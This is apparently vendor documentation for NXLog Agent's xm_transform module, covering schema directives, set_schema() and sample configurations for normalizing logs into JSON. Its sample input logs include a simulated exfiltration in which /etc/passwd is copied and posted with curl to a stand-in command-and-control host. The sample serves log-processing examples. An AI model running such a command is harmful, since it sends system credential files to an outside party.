Transform (xm_transform)

This module allows normalizing log data according to a specified schema. It accepts file-based schemas in JSON format and supports dynamically setting the schema file.

The module is intended to be used with the JSON (xm_json) extension.

To examine the supported platforms, see the list of installation packages.

Configuration

The xm_transform module accepts the following directives in addition to the common module directives.

Optional directives

Schema

Specify the path to a schema file. NXLog Agent formats log records using this schema when you process them with this extension.

SchemaDir

Specify the path to a folder containing your schema files. NXLog Agent looks for the schema files specified by the Schema and SchemaMap directives in this folder. The default path is C:\Program Files\nxlog\conf on Windows and /opt/nxlog/etc on Unix-like operating systems.

SchemaMap

Use this directive to specify a map of names and the corresponding schema file location. You can use these names when dynamically setting the schema with the set_schema() procedure.

NXLog Agent drops events that do not match any schema. We recommend always specifying a default schema to avoid data loss.

See Setting the schema dynamically below for an example.

Procedures

The following procedures are exported by xm_transform.

process();: This procedure processes the log record and transforms it according to the module instance settings.

set_schema(string schema_name);: Sets the schema file, overriding the default one. The schema_name must match a schema name defined by the SchemaMap directive.

Examples

Example 1. Transforming logs using a schema file

This configuration collects Linux system logs from a file and transforms log records according to a schema file.

nxlog.conf

<Extension transform>
    Module    xm_transform
    Schema    'schemas/default.json' (1)
</Extension>

<Extension json>
    Module    xm_json
</Extension>

<Input system_logs>
    Module    im_file
    File      '/var/log/syslog'
    <Exec>
        transform->process(); (2)
        to_json(); (3)
    </Exec>
</Input>

1	Defines the path of the schema file. The path is relative to the NXLog Agent configuration folder.
2	Normalizes log records according to the schema file defined in the Schema directive.
3	Calls the to_json() procedure of xm_json to convert the record to JSON format.

The following is a basic schema file compatible with log events collected by the im_file input module. This module populates the core fields only.

default.json

{
  "Event": "$raw_event",
  "Metadata": {
    "Type": "GENERIC",
    "IngestionTime": "$EventReceivedTime"
  }
}

Input sample

2024-09-26 16:05:47 [100]: File "/etc/passwd" 512 bytes was copied to "/tmp/steal.txt".
2024-09-26 16:05:47 [100]: Process 123 "/usr/bin/curl" with command line "-d @/tmp/steal.txt http://example-cc.bot".
2024-09-26 16:05:47 [100]: File "/tmp/steal" 512 bytes was deleted.

Output sample

{
  "Event": "2024-09-26 16:05:47 [100]: File \"/etc/passwd\" 512 bytes was copied to \"/tmp/steal.txt\".",
  "Metadata": {
    "Type": "GENERIC",
    "IngestionTime": "2024-09-26T16:06:00.984034+02:00"
  }
}

Example 2. Setting the schema dynamically

This configuration collects logs from a file and transforms log records according to the event type. It defines three event schemas: copy, delete, and spawn. It also sets a default schema for events that do not match any of the conditions.

<Extension transform>
    Module       xm_transform
    SchemaDir    'schemas/'  (1)
    
    <SchemaMap>  (2)
      copy       file-copy.json
      delete     file-delete.json
      spawn      process-create.json
      default    default.json
    </SchemaMap>

    <Exec>  (3)
      if ($raw_event =~ /File "(.+)" (\d+) bytes was deleted/) {
        $FileName = $1;
        $FileSize = $2;
        set_schema("delete");
      }
      else if ($raw_event =~ /File "(.+)" (\d+) bytes was copied to "(.+)"/) {
        $PrevFileName = $1;
        $PrevFileSize = $2;
        $FileName = $3;
        set_schema("copy");
      }
      else if ($raw_event =~ /Process (\d+) "(.+)" with command line "(.+)"/) {
        $NewProcessID = $1;
        $FileName = $2;
        $Args = $3;
        set_schema("spawn");
      }
      else
      {
        set_schema("default"); (4)
      }
    </Exec>
</Extension>

<Extension json>
    Module       xm_json
</Extension>

<Input access_log>
    Module       im_file
    File         '/var/log/access_log'
    <Exec>
        transform->process(); (5)
        to_json(); (6)
    </Exec>
</Input>

1	Defines the path of the directory containing the schema files. The path is relative to the NXLog Agent configuration folder.
2	Maps names to schema files. You use the names when dynamically setting the schema with set_schema().
3	Logic that sets the appropriate schema dynamically. It uses regular expressions to parse log events.
4	It uses the `default` schema for log events that do not match any of the regular expressions.
5	Normalizes log records according to the SchemaMap.
6	Calls the to_json() procedure of xm_json to convert the record to JSON format.